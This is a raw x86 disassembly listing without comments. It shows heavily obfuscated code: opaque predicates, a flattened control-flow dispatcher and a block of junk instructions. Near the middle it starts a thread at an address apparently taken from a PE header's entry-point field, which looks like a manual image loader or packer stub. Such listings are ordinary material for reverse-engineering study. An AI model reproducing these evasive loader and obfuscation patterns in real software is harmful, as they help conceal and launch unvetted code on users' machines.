call fcn.00446ea0
add esp, 0xc
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xba9c1918
mov edx, eax
and edx, 0x4563e6e6
and eax, 0xc7939049
or esi, edx
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
xor esi, 0xba9c1918
and ecx, 0x386c6fb6
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xc7939049
mov edi, esi
and edi, 0x386c6fb6
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xb59375eb
sete al
setne cl
cmp dword [0x477980], 0xa
setl dl
mov ah, dl
xor cl, dl
or ah, al
xor al, dl
xor cl, 1
and al, ah
xor ah, 1
or ah, cl
xor al, 1
mov cl, ah
xor cl, al
or al, ah
mov edx, eax
xor dl, cl
mov edx, 0x22a5ce4f
cmovne edx, esi
test al, al
mov eax, 0x22a5ce4f
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x402340
mov eax, 0x3f8598a0
jmp 0x402340
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x154], eax
mov eax, dword [0x477984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xb83ca144
and ecx, edx
not edx
and edx, 0xb83ca144
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x68eef0a2
and eax, 0x97110f5d
or ecx, eax
mov eax, ecx
mov edi, ecx
xor eax, 0xd0d251e6
xor edi, 0x69409a51
mov edx, ecx
xor edx, 0x8008a10
and edi, eax
or eax, 0x466d3448
and edx, 0x18008b10
mov esi, eax
and esi, 0xa7fe60e7
or edx, esi
mov esi, edi
not esi
and edi, 0x58019f18
or eax, esi
and esi, 0xa7fe60e7
or edi, esi
not eax
xor edi, edx
mov edx, ecx
xor edx, 0x6008800
xor ecx, 0xd0d01182
or eax, edi
or edx, 1
and ecx, 0xf9fd379a
mov esi, eax
not esi
and eax, 0x79d0c40c
and edx, 0x602c865
and esi, 0x862f3bf3
or edx, ecx
or eax, esi
mov edi, eax
xor edi, 0x2089a
xor eax, 0x3fbdf045
mov ecx, eax
and ecx, 0xe850b724
and edi, 0x17af48db
or edi, ecx
mov ecx, edx
xor ecx, 0x6024840
xor edx, 0xf9fd379a
or eax, edx
and edx, 0xe850b724
and ecx, 0x17af48da
or ecx, edx
not eax
xor ecx, edi
mov edi, 0x3ff34ded
or eax, ecx
mov ecx, eax
xor ecx, 0x8f44612e
mov edx, eax
not edx
and ecx, eax
or eax, 0x70bb9ed1
and edx, 0xb000102
mov esi, eax
and esi, 0x84dd627d
or edx, esi
mov esi, ecx
not esi
and ecx, 0x7b229d82
or eax, esi
and esi, 0x84dd627d
or ecx, esi
not eax
mov esi, 0xfa22c826
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1184f762
and ecx, 0xee7b089d
or eax, ecx
mov ecx, eax
xor ecx, 0x9e001404
xor eax, 0x211a48b2
and ecx, 0xde253505
and eax, 0x21dacafa
or eax, ecx
xor eax, 0x21dacafa
setne al
sete ah
cmp dword [0x477980], 0xa
setge dl
setl cl
mov ch, dl
and al, cl
xor ch, ah
and ch, dl
and dl, ah
xor ah, cl
or dl, al
or dl, ch
mov ch, ah
mov cl, dl
mov al, dl
xor cl, 1
and al, cl
xor ch, cl
xor al, 1
or al, cl
or cl, ah
xor al, 1
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
xor al, 1
and dl, ah
xor ah, 1
and al, ah
mov ah, cl
or al, dl
xor ah, al
test ah, 1
cmovne edi, esi
test cl, 1
mov esi, 0x3ff34ded
cmovne esi, edi
test al, al
cmove esi, edi
mov eax, esi
jmp 0x402340
mov eax, dword [ebp - 0x24]
mov eax, 0x8087abce
jmp 0x402340
mov eax, dword [ebp - 0x104]
mov eax, 0x7701615b
jmp 0x402340
mov eax, dword [0x477984]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
or eax, 1
and esi, 0xfffffffe
mov edx, ecx
and edx, 1
and ecx, 0xaa6e5a3a
or edx, esi
mov esi, eax
and esi, 0x5591a5c5
or ecx, esi
mov esi, edx
not esi
and edx, 0xaa6e5a3a
or eax, esi
and esi, 0x5591a5c5
or edx, esi
not eax
mov esi, 0xa36c741e
xor edx, ecx
or eax, edx
mov ecx, eax
xor ecx, 0xb8553f4d
mov edx, eax
and edx, 0x20143a01
and ecx, eax
not eax
and eax, 0x9841054c
or edx, eax
xor edx, 0x20143a01
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xdcae1bac
and eax, 0x2351e453
or ecx, eax
mov eax, ecx
xor eax, 0x20c824c0
xor ecx, 0x99005304
and ecx, 0xdd335325
and eax, 0x22ccacda
or eax, ecx
mov ecx, eax
xor ecx, 0x2442c18
xor eax, 0x45300004
and eax, 0x65b880c6
and ecx, 0x9a477f39
or ecx, eax
mov eax, ecx
xor eax, 0x5988006
xor ecx, 0xa070929
and ecx, 0x6a2709e9
and eax, 0x95d8f616
or eax, ecx
cmp eax, 0x95d8f616
sete ah
cmp dword [0x477980], 0xa
setl ch
mov al, ch
mov cl, ch
or al, ah
xor cl, ah
xor al, 1
and ah, cl
or al, cl
and cl, ch
xor ah, 1
xor cl, 1
mov ch, ah
mov edx, eax
xor ch, cl
or cl, ah
xor dl, 1
xor cl, 1
or cl, ch
mov ah, cl
and cl, al
xor ah, 1
or al, ah
and ah, dl
mov edx, 0xaa9a1caf
or ah, cl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0xa36c741e
cmovne ecx, edx
test ah, 1
mov edx, ecx
cmovne edx, esi
test al, 1
cmovne edx, ecx
mov eax, edx
jmp 0x402340
mov eax, 0x942f423c
jmp 0x402340
mov eax, 0x27ef68cd
jmp 0x402340
rcr eax, 0x88
rcr esi, 0xbc
or ebx, 0x72
add ebx, 0x56
or edi, 0x2c
rol esi, 0xbd
not edi
dec ebx
inc edi
sub edx, 0xdb
or edi, 0x90
rcr ebx, 0xc4
bswap esi
sub edi, 0x5b
add ebx, 0x56
rcl esi, 0xc7
neg esi
imul edx
dec edi
bswap eax
mov edi, 0x39
sbb eax, 0x30
mov esi, 0x6c
not eax
not eax
not ebx
sub ebx, 0x45
inc edi
ror eax, 0x27
not ebx
inc edi
inc esi
neg edx
imul edx
imul eax
bswap eax
rcl eax, 0xcd
bswap esi
add edi, 0x32
bswap ebx
neg esi
not edx
bswap eax
and edi, 0x9e
or edi, 0x78
inc edx
inc edx
ror edx, 0xf
rcr eax, 0x1c
dec ebx
inc eax
neg eax
and eax, 0x4a
and eax, 0x55
or esi, 0xc9
add edx, 0x16
not ebx
add ebx, 0xc0
neg edx
not edi
rcr edx, 0x8a
inc edi
inc ebx
not esi
mov esi, 0xf9
add edx, 0x33
add edi, 0xce
dec edx
inc eax
not eax
ror ebx, 0x6d
ror eax, 0xed
neg edx
rol ebx, 0xc6
rcl ebx, 0x91
ror eax, 0x52
neg eax
inc edx
rcl ebx, 8
mov ebx, 0xb2
add esi, 0x36
neg edx
inc eax
inc ebx
rcr eax, 0
ror eax, 0x2e
rol edx, 0xbf
not esi
ror edx, 0x7b
imul esi
dec esi
inc edx
neg eax
mov edi, 0x10
sbb edi, 0x9d
ror edi, 0xaa
sub edi, 0x3e
dec edi
not ebx
imul esi
rcr ebx, 0x82
rol ebx, 0x31
dec eax
imul edi
inc edi
not edx
bswap edx
ror eax, 0xe9
sbb ebx, 0x77
not esi
rol edi, 0x10
or eax, 0x58
sub edx, 0xcd
mov esi, 0xdf
rcr esi, 0x13
not esi
sbb edx, 0x28
and esi, 0xac
sbb esi, 0x1f
imul ebx
mov edi, 0x5e
rcl esi, 0xdc
sbb edx, 0x2e
neg ebx
rcl edi, 0x50
mov ebx, 0x32
inc ebx
dec eax
mov ebx, 0xd5
imul edx
dec ebx
and eax, 0x7a
imul eax
rol ebx, 0xb6
add edx, 0x32
sub edi, 0x47
rcr ebx, 0xd3
sub esi, 0xf5
not edx
dec esi
imul edx
add edi, 0xbf
and edx, 0x45
sbb ebx, 0xb
neg edi
rcr edx, 0x83
not edx
add edi, 0xa9
add edx, 0x8d
inc ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov eax, dword [0x477984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x35a20c5d
mov eax, edx
and eax, 0x25220044
and ecx, edx
not edx
and edx, 0x10800c19
mov esi, ecx
not esi
and ecx, 0x6b0b010b
or eax, edx
mov edx, eax
xor edx, 0x21020000
xor eax, 0xdaddffbb
mov edi, eax
or eax, esi
and esi, 0x94f4fef4
and edi, 0x94f4fef4
and edx, 0x21020009
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xef537a5a
and ecx, 0x10ac85a5
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x250c00e8
xor ecx, 0xdaf17607
xor eax, 0xe58fc281
mov esi, ecx
and edx, 0xe76c64e8
and esi, 0x18939b17
and eax, ecx
or esi, edx
mov ebx, eax
not ebx
and eax, 0xe758c8ee
mov ecx, esi
mov edx, esi
xor edx, 0x18939b17
xor esi, 0xd812d06e
xor ecx, 0xe76c64e8
and esi, edx
and ecx, 0xfffffffe
mov edx, esi
not edx
and esi, 0xe758c8ee
mov edi, edx
or edx, ebx
and edi, 0x18a73711
and ebx, 0x18a73711
or esi, edi
or eax, ebx
not edx
xor eax, esi
or edx, eax
mov eax, edx
not eax
and edx, 0x5419207b
and eax, 0xabe6df84
or edx, eax
xor edx, 0x6b6794fc
or ecx, edx
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0x891f1813
and edx, 0x76e0e7ec
or edx, esi
mov esi, eax
not esi
and eax, 0x76e0e7ec
or ecx, esi
and esi, 0x891f1813
or eax, esi
not ecx
mov esi, 0x246c9ce
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xb778ed15
mov edx, eax
and edx, 0x488712ea
or ecx, edx
xor ecx, 0x488712ea
xor eax, ecx
test eax, ecx
sete al
setne dl
cmp dword [0x477980], 0xa
setge ch
setl cl
xor al, ch
mov ah, cl
or cl, dl
and al, ch
xor ah, dl
xor cl, 1
xor al, 1
mov ch, al
or al, ah
xor ch, ah
not ah
xor al, 1
and ah, dl
or al, ch
or cl, ah
xor cl, 1
mov edx, ecx
or cl, al
xor dl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xd5fabe8f
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0xd5fabe8f
cmove ecx, eax
mov eax, ecx
jmp 0x402340
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x28]
mov eax, 0x183d9a69
jmp 0x402340
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xf8]
mov eax, 0xa62d4ea7
jmp 0x402340
mov eax, dword [ebp - 0x34]
mov eax, 0xcf85d179
jmp 0x402340
mov eax, 0xf70745c
jmp 0x402340
mov eax, dword [ebp - 0x80]
mov eax, 0xdba64b27
jmp 0x402340
mov eax, dword [0x477984]
mov edi, 0xf13080c3
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0x866237a7
and eax, edx
not edx
or edx, eax
not eax
and eax, 0x799dc858
and edx, 0x866237a7
or edx, eax
mov ecx, edx
xor ecx, 0x7fbd16c1
mov eax, edx
and eax, 0xa39997cc
and ecx, edx
not edx
and edx, 0x5c666833
or eax, edx
mov edx, eax
xor edx, 0xa39997cc
xor eax, 0x48466803
mov esi, edx
and esi, 0x7fbd16c1
and eax, 0x4947f887
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x7fbd16c0
and esi, 0x8042e93f
or ecx, esi
mov esi, edx
and esi, 0xb6b80778
and edx, 1
or esi, eax
xor esi, 0x4947f886
or edx, esi
mov eax, edx
not eax
and edx, 0x25b17e70
and eax, 0xda4e818f
or edx, eax
mov eax, ecx
not eax
and ecx, 0x6c825d7e
mov esi, eax
and esi, 0x937da281
or ecx, esi
mov esi, edx
xor esi, 0x24805c70
xor edx, 0xda4e818f
or eax, edx
and edx, 0x937da281
and esi, 0x6c825d7e
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, eax
or esi, 0x2000418
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x7d92d9a6
and ecx, eax
and esi, 0x7702cc1e
and edx, 0x89011a0
or edx, esi
mov esi, ecx
not esi
and ecx, 0x88fd33e1
or eax, esi
and esi, 0x7702cc1e
or ecx, esi
not eax
mov esi, 0x515fcfb9
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x826d2659
and eax, 0x7d92d9a6
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xeed46279
and ecx, 0x112b9d86
or ecx, eax
xor ecx, 0x112b9d86
sete dl
setne ch
cmp dword [0x477980], 0xa
setl al
setge cl
and dl, cl
and al, ch
or cl, ch
or al, dl
mov ah, cl
mov ch, al
mov edx, eax
xor ah, 1
xor ch, 1
and dl, ch
xor dl, 1
or dl, ch
mov ch, ah
xor dl, 1
xor ch, al
or dl, al
or al, ah
and ah, cl
xor ah, 1
xor al, 1
mov dh, ah
or ah, cl
or al, ch
xor dh, cl
xor ah, 1
or ah, dh
mov dh, al
mov cl, ah
xor cl, 1
and cl, dl
xor dl, 1
and dl, ah
or dl, cl
xor dh, dl
test dh, 1
cmovne edi, esi
test al, al
mov eax, 0xf13080c3
cmovne eax, edi
test dl, 1
cmove eax, edi
jmp 0x402340
mov eax, 0xed1c8589
jmp 0x402340
cmp eax, 0x23a2918
jne 0x402340
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.00446330
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret